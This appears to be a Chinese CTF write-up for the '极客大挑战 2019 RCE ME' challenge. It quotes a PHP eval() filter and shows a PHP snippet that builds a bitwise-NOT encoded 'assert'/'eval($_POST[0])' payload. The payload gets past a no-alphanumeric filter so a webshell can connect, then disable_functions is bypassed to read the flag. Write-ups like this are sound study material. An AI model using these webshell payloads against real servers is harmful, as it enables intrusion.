[极客大挑战 2019]RCE ME

 2023-09-05 阅读 97 评论 0

摘要:知识点 无字母数字RCE绕过disable_functions WP 首先进入环境审一下代码: <?php error_reporting(0); if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z

知识点

  • 无字母数字RCE
  • 绕过disable_functions

WP

首先进入环境审一下代码:

<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>

比较明显的无字母数字RCE,而且过滤的比较简单,各种姿势基本上都可以用。因此存在长度限制,因此用取反而不是异或。

在这里插入图片描述
但是我的思维还是存在局限性,就是只是单纯的(函数)(参数)这样的去执行函数,对于如何$_POST传参让蚁剑连有些迷,后来也是看了大师傅的才恍然大悟。直接这样:

<?php$payload='assert';
echo "~".urlencode(~$payload)."    ";
$payload="eval(\$_POST[0])";
echo "~".urlencode(~$payload)."    ";

在这里插入图片描述
然后就可以蚁剑连了。
蚁剑连上后利用插件:
在这里插入图片描述
直接/readflag就可以了:
在这里插入图片描述
这题也可以手工利用LD_preload,网上都有方法就不再提了。

另外,如果不利用$_POST传也可以,可以利用getallheaders,这也是个小trick。

版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。

原文链接:https://808629.com/608.html

发表评论:

本站为非赢利网站,部分文章来源或改编自互联网及其他公众平台,主要目的在于分享信息,版权归原作者所有,内容仅供读者参考,如有侵权请联系我们删除!

Copyright © 2022 86后生记录生活 Inc. 保留所有权利。

底部版权信息